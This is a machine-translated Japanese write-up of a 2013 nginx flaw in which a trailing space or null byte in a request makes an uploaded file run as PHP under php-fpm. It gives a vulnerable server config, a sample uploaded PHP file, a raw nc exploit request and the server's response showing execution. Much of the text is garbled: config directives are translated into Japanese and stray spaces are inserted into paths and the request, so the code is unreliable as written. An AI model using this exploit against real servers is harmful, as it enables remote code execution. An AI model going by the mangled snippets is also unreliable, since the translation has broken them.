詳細はこちら: mailman.nginx.org/pipermail/nginx-ru/2013-November/052575.html
nginx 0.8.41-1.5.6のバージョンが影響を受けます。
この問題は、nginx 1.5.7、1.4.4で修正されています。
カスタム構成のパッチが利用可能です-nginx.org/download/patch.2013.space.txt
この部分は特に興味深いです:
フォームの構成の最後にスペースを使用して特別なファイル処理を呼び出す機能
場所〜\ .php $ {
fastcgi_pass ...
}
「/ file \ 0.php」としてファイルを要求します。
人気のあるnginx + php構成では、この脆弱性は次のように悪用される可能性があります。
*ユーザーがファイルをサーバーにアップロードし、最後にスペースを入れます
*特別に構成された要求により、このファイルが実行されます。
nginx + php5-fpmの場合、この脆弱性を悪用するための次の条件を満たしている必要があります。
1)fastcgi_param PATH_TRANSLATEDは、$ document_root / $ fastcgi_script_nameの形式である必要があります。 スクリプト値はリクエストから取得されます
2)fpmプール設定では、値ecurity.limit_extensionsはファイルをスキップする必要があります。 デフォルトでは、.php .php3 .php4 .php5に設定されています
操作例:
サーバー{ listen *:80; server_name example.com; access_log ...; error_log ...; root / var / www / hot; 場所〜\ .php $ { include / etc / nginx / fastcgi_params; fastcgi_param PATH_TRANSLATED $ document_root / $ fastcgi_script_name; fastcgi_param SCRIPT_FILENAME $ document_root / $ fastcgi_script_name; fastcgi_passパス; } 場所/ css / {} 場所/ js / {} 場所/ img / {} }
猫「/ var / www / hot / hole」 <?php echo "私は穴だ"; ?>
そして最後に、リクエスト自体:
echo -e "GET / hole \ 0.php HTTP / 1.1 \ r \ nHost:example.com \ r \ n \ r \ n" | nc -w 1 example.com 80 HTTP / 1.1 200 OK サーバー:nginx / 1.4.1 日付:2013年11月19日火曜日15:31:51 GMT コンテンツタイプ:テキスト/ html 転送エンコード:チャンク 接続:キープアライブ X-Powered-By:PHP / 5.4.19-1〜dotdeb.1 9 私は穴だ 0